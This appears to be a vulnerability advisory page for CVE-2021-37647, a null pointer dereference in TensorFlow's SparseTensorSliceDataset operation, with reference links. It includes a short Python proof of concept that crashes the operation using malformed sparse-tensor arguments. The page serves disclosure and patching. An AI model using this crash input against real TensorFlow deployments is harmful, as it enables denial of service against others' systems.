CVE-2021-37647: Null pointer dereference in `SparseTensorSliceDataset`
(updated )
When a user does not supply arguments that determine a valid sparse tensor, tf.raw_ops.SparseTensorSliceDataset implementation can be made to dereference a null pointer:
import tensorflow as tf
tf.raw_ops.SparseTensorSliceDataset(
indices=[[],[],[]],
values=[1,2,3],
dense_shape=[3,3])
References
- github.com/advisories/GHSA-c5x2-p679-95wc
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-560.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-758.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-269.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/02cc160e29d20631de3859c6653184e3f876b9d7
- github.com/tensorflow/tensorflow/security/advisories/GHSA-c5x2-p679-95wc
- nvd.nist.gov/vuln/detail/CVE-2021-37647
Code Behaviors & Features
Detect and mitigate CVE-2021-37647 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →